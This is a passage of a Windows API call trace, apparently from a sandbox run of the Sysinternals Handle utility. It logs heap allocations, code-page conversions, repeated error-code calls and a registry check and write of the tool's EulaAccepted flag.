(HeapHandle=0x2b0000, Flags=0x8, Size=0x2c) returned 0x2cdf90 [0126.851] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x54) returned 0x2d1e50 [0126.851] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x52) returned 0x2d1eb0 [0126.851] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2a) returned 0x2cdfd0 [0126.851] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c) returned 0x2c6450 [0126.851] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x54) returned 0x2d1f10 [0126.851] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x24) returned 0x2c6000 [0126.851] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x30) returned 0x2ce010 [0126.851] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x8c) returned 0x2cfff0 [0126.851] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2d0b30 | out: hHeap=0x2b0000) returned 1 [0126.851] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1000) returned 0x2d0090 [0126.851] GetLastError () returned 0x0 [0126.852] SetLastError (dwErrCode=0x0) [0126.852] GetLastError () returned 0x0 [0126.852] SetLastError (dwErrCode=0x0) [0126.852] GetLastError () returned 0x0 [0126.852] SetLastError (dwErrCode=0x0) [0126.852] GetACP () returned 0x4e4 [0126.852] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0x228) returned 0x2d10a0 [0126.852] GetLastError () returned 0x0 [0126.852] SetLastError (dwErrCode=0x0) [0126.852] IsValidCodePage (CodePage=0x4e4) returned 1 [0126.852] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fe00 | out: lpCPInfo=0x12fe00) returned 1 [0126.852] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f8a0 | out: lpCPInfo=0x12f8a0) returned 1 [0126.852] GetLastError () returned 0x0 [0126.852] SetLastError (dwErrCode=0x0) [0126.852] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0126.852] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f5a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ້꾣湽") returned 256 [0126.852] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ້꾣湽", cchSrc=256, lpCharType=0x12fbc0 | out: lpCharType=0x12fbc0) returned 1 [0126.852] GetLastError () returned 0x0 [0126.852] SetLastError (dwErrCode=0x0) [0126.853] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0126.853] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0126.853] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0126.853] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0126.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0126.853] GetLastError () returned 0x0 [0126.853] SetLastError (dwErrCode=0x0) [0126.853] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0126.853] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0126.853] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0126.853] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0126.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12fac0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0126.853] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x100) returned 0x2d12d0 [0126.854] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140010890) returned 0x0 [0126.854] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2d12d0) returned 0x100 [0126.854] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0126.854] GetProcAddress (hModule=0x76f20000, lpProcName="IsWow64Process") returned 0x76f291d0 [0126.855] GetCurrentProcess () returned 0xffffffffffffffff [0126.855] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x12fef0 | out: Wow64Process=0x12fef0) returned 1 [0126.855] GetLastError () returned 0x0 [0126.855] SetLastError (dwErrCode=0x0) [0126.855] GetLastError () returned 0x0 [0126.855] SetLastError (dwErrCode=0x0) [0126.855] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0126.856] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0126.856] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x0, lpcbData=0x12fc48*=0x4) returned 0x2 [0126.856] RegCloseKey (hKey=0x78) returned 0x0 [0126.856] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0126.857] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x1, lpcbData=0x12fc48*=0x4) returned 0x0 [0126.857] RegCloseKey (hKey=0x78) returned 0x0 [0126.857] GetLastError () returned 0x0 [0126.857] SetLastError (dwErrCode=0x0) [0126.857] GetLastError () returned 0x0 [0126.857] SetLastError (dwErrCode=0x0) [0126.857] RegCreateKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", phkResult=0x12fc38 | out: phkResult=0x12fc38*=0x78) returned 0x0 [0126.857] RegSetValueExW (in: hKey=0x78, lpValueName="EulaAccepted", Reserved=0x0, dwType=0x4, lpData=0x12fc30*=0x1, cbData=0x4 | out: lpData=0x12fc30*=0x1) returned 0x0 [0126.857] RegCloseKey (hKey=0x78) returned 0x0 [0126.857] GetLastError () returned 0x0 [0126.858] SetLastError (dwErrCode=0x0) [0126.858] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0x1000) returned 0x2d23f0 [0126.858] GetLastError () returned 0x0 [0126.858] SetLastError (dwErrCode=0x0) [0126.858] GetLastError () returned 0x0 [0126.858] SetLastError (dwErrCode=0x0) [0126.858] GetLastError () returned 0x0 [0126.858] SetLastError (dwErrCode=0x0) [0126.858] GetLastError () returned 0x0 [0126.858] SetLastError (dwErrCode=0x0) [0126.858] GetLastError () returned 0x0 [0126.858] SetLastError (dwErrCode=0x0) [0126.858] GetLastError () returned 0x0 [0126.858] SetLastError (dwErrCode=0x0) [0126.858] GetLastError () returned 0x0 [0126.858] SetLastError (dwErrCode=0x0) [0126.858] GetLastError () returned 0x0 [0126.858] SetLastError (dwErrCode=0x0) [0126.858] GetLastError () returned 0x0 [0126.858] SetLastError (dwErrCode=0x0) [0126.858] GetLastError () returned 0x0 [0126.859] SetLastError (dwErrCode=0x0) [0126.859] GetLastError () returned 0x0 [0126.859] SetLastError (dwErrCode=0x0) [0126.859] GetLastError () returned 0x0 [0126.859] SetLastError (dwErrCode=0x0) [0126.859] GetLastError () returned 0x0 [0126.859] SetLastError (dwErrCode=0x0) [0126.859] GetLastError () returned 0x0 [0126.859] SetLastError (dwErrCode=0x0) [0126.859] GetLastError () returned 0x0 [0126.859] SetLastError (dwErrCode=0x0) [0126.859] GetLastError () returned 0x0 [0126.859] SetLastError (dwErrCode=0x0) [0126.859] GetLastError () returned 0x0 [0126.859] SetLastError (dwErrCode=0x0) [0126.859] GetLastError () returned 0x0 [0126.859] SetLastError (dwErrCode=0x0) [0126.859] GetLastError () returned 0x0 [0126.859] SetLastError (dwErrCode=0x0) [0126.859] GetLastError () returned 0x0 [0126.859] SetLastError (dwErrCode=0x0) [0126.859] GetLastError () returned 0x0 [0126.859] SetLastError (dwErrCode=0x0) [0126.859] GetLastError () returned 0x0 [0126.859] SetLastError (dwErrCode=0x0) [0126.859] GetLastError () returned 0x0 [0126.859] SetLastError (dwErrCode=0x0) [0126.860] GetLastError () returned 0x0 [0126.860] SetLastError (dwErrCode=0x0) [0126.860] GetLastError () returned 0x0 [0126.860] SetLastError (dwErrCode=0x0) [0126.860] GetLastError () returned 0x0 [0126.860] SetLastError (dwErrCode=0x0) [0126.860] GetLastError () returned 0x0 [0126.860] SetLastError (dwErrCode=0x0) [0126.860] GetLastError () returned 0x0 [0126.860] SetLastError (dwErrCode=0x0) [0126.860] GetLastError () returned 0x0 [0126.860] SetLastError (dwErrCode=0x0) [0126.860] GetLastError () returned 0x0 [0126.860] SetLastError (dwErrCode=0x0) [0126.860] GetLastError () returned 0x0 [0126.860] SetLastError (dwErrCode=0x0) [0126.860] GetLastError () returned 0x0 [0126.860] SetLastError (dwErrCode=0x0) [0126.860] GetLastError () returned 0x0 [0126.860] SetLastError (dwErrCode=0x0) [0126.860] GetLastError () returned 0x0 [0126.860] SetLastError (dwErrCode=0x0) [0126.860] GetLastError () returned 0x0 [0126.860] SetLastError (dwErrCode=0x0) [0126.860] GetLastError () returned 0x0 [0126.860] SetLastError (dwErrCode=0x0) [0126.860] GetLastError () returned 0x0 [0126.860] SetLastError (dwErrCode=0x0) [0126.860] GetLastError () returned 0x0 [0126.860] SetLastError (dwErrCode=0x0) [0126.860] GetLastError () returned 0x0 [0126.860] SetLastError (dwErrCode=0x0) [0126.860] GetLastError () returned 0x0 [0126.860] SetLastError (dwErrCode=0x0) [0126.861] GetLastError () returned 0x0 [0126.861] SetLastError (dwErrCode=0x0) [0126.861] GetLastError () returned 0x0 [0126.861] SetLastError (dwErrCode=0x0) [0126.861] GetLastError () returned 0x0 [0126.861] SetLastError (dwErrCode=0x0) [0126.861] GetLastError () returned 0x0 [0126.861] SetLastError (dwErrCode=0x0) [0126.861] GetLastError () returned 0x0 [0126.861] SetLastError (dwErrCode=0x0) [0126.861] GetLastError () returned 0x0 [0126.861] SetLastError (dwErrCode=0x0) [0126.861] GetLastError () returned 0x0 [0126.861] SetLastError (dwErrCode=0x0) [0126.861] GetLastError () returned 0x0 [0126.861] SetLastError (dwErrCode=0x0) [0126.861] GetLastError () returned 0x0 [0126.861] SetLastError (dwErrCode=0x0) [0126.861] GetLastError () returned 0x0 [0126.861] SetLastError (dwErrCode=0x0) [0126.861] GetLastError () returned 0x0 [0126.861] SetLastError (dwErrCode=0x0) [0126.861] GetLastError () returned 0x0 [0126.861] SetLastError (dwErrCode=0x0) [0126.861] GetLastError () returned 0x0 [0126.861] SetLastError (dwErrCode=0x0) [0126.861] GetLastError () returned 0x0 [0126.861] SetLastError (dwErrCode=0x0) [0126.861] GetLastError () returned 0x0 [0126.861] SetLastError (dwErrCode=0x0) [0126.861] GetLastError () returned 0x0 [0126.861] SetLastError (dwErrCode=0x0) [0126.861] GetLastError () returned 0x0 [0126.862] SetLastError (dwErrCode=0x0) [0126.862] GetLastError () returned 0x0 [0126.862] SetLastError (dwErrCode=0x0) [0126.862] GetLastError () returned 0x0 [0126.862] SetLastError (dwErrCode=0x0) [0126.862] GetLastError () returned 0x0 [0126.862] SetLastError (dwErrCode=0x0) [0126.862] GetLastError () returned 0x0 [0126.862] SetLastError (dwErrCode=0x0) [0126.862] GetLastError () returned 0x0 [0126.862] SetLastError (dwErrCode=0x0) [0126.862] GetLastError () returned 0x0 [0126.862] SetLastError (dwErrCode=0x0) [0126.862] GetLastError () returned 0x0 [0126.862] SetLastError (dwErrCode=0x0) [0126.862] GetLastError () returned 0x0 [0126.862] SetLastError (dwErrCode=0x0) [0126.862] GetLastError () returned 0x0 [0126.862] SetLastError (dwErrCode=0x0) [0126.862] GetLastError () returned 0x0 [0126.862] SetLastError (dwErrCode=0x0) [0126.862] GetLastError () returned 0x0 [0126.862] SetLastError (dwErrCode=0x0) [0126.862] GetLastError () returned 0x0 [0126.862] SetLastError (dwErrCode=0x0) [0126.862] GetLastError () returned 0x0 [0126.862] SetLastError (dwErrCode=0x0) [0126.862] GetLastError () returned 0x0 [0126.862] SetLastError (dwErrCode=0x0) [0126.862] GetLastError () returned 0x0 [0126.862] SetLastError (dwErrCode=0x0) [0126.862] GetLastError () returned 0x0 [0126.863] SetLastError (dwErrCode=0x0) [0126.863] GetLastError () returned 0x0 [0126.863] SetLastError (dwErrCode=0x0) [0126.863] GetLastError () returned 0x0 [0126.863] SetLastError (dwErrCode=0x0) [0126.863] GetLastError () returned 0x0 [0126.863] SetLastError (dwErrCode=0x0) [0126.863] GetLastError () returned 0x0 [0126.863] SetLastError (dwErrCode=0x0) [0126.863] GetLastError () returned 0x0 [0126.863] SetLastError (dwErrCode=0x0) [0126.863] GetLastError () returned 0x0 [0126.863] SetLastError (dwErrCode=0x0) [0126.863] GetLastError () returned 0x0 [0126.863] SetLastError (dwErrCode=0x0) [0126.863] GetLastError () returned 0x0 [0126.863] SetLastError (dwErrCode=0x0) [0126.863] GetLastError () returned 0x0 [0126.863] SetLastError (dwErrCode=0x0) [0126.863] GetLastError () returned 0x0 [0126.863] SetLastError (dwErrCode=0x0) [0126.863] GetLastError () returned 0x0 [0126.863] SetLastError (dwErrCode=0x0) [0126.863] GetLastError () returned 0x0 [0126.863] SetLastError (dwErrCode=0x0) [0126.863] GetLastError () returned 0x0 [0126.863] SetLastError (dwErrCode=0x0) [0126.863] GetLastError () returned 0x0 [0126.863] SetLastError (dwErrCode=0x0) [0126.863] GetLastError () returned 0x0 [0126.863] SetLastError (dwErrCode=0x0) [0126.863] GetLastError () returned 0x0 [0126.863] SetLastError (dwErrCode=0x0) [0126.863] GetLastError () returned 0x0 [0126.864] SetLastError (dwErrCode=0x0) [0126.864] GetLastError () returned 0x0 [0126.864] SetLastError (dwErrCode=0x0) [0126.864] GetLastError () returned 0x0 [0126.864] SetLastError (dwErrCode=0x0) [0126.864] GetLastError () returned 0x0 [0126.864] SetLastError (dwErrCode=0x0) [0126.864] GetLastError () returned 0x0 [0126.864] SetLastError (dwErrCode=0x0) [0126.864] GetLastError () returned 0x0 [0126.864] SetLastError (dwErrCode=0x0) [0126.864] GetLastError () returned 0x0 [0126.864] SetLastError (dwErrCode=0x0) [0126.864] GetLastError () returned 0x0 [0126.864] SetLastError (dwErrCode=0x0) [0126.864] GetLastError () returned 0x0 [0126.864] SetLastError (dwErrCode=0x0) [0126.864] GetLastError () returned 0x0 [0126.864] SetLastError (dwErrCode=0x0) [0126.864] GetLastError () returned 0x0 [0126.864] SetLastError (dwErrCode=0x0) [0126.864] GetLastError () returned 0x0 [0126.864] SetLastError (dwErrCode=0x0) [0126.864] GetLastError () returned 0x0 [0126.864] SetLastError (dwErrCode=0x0) [0126.864] GetLastError () returned 0x0 [0126.864] SetLastError (dwErrCode=0x0) [0126.864] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 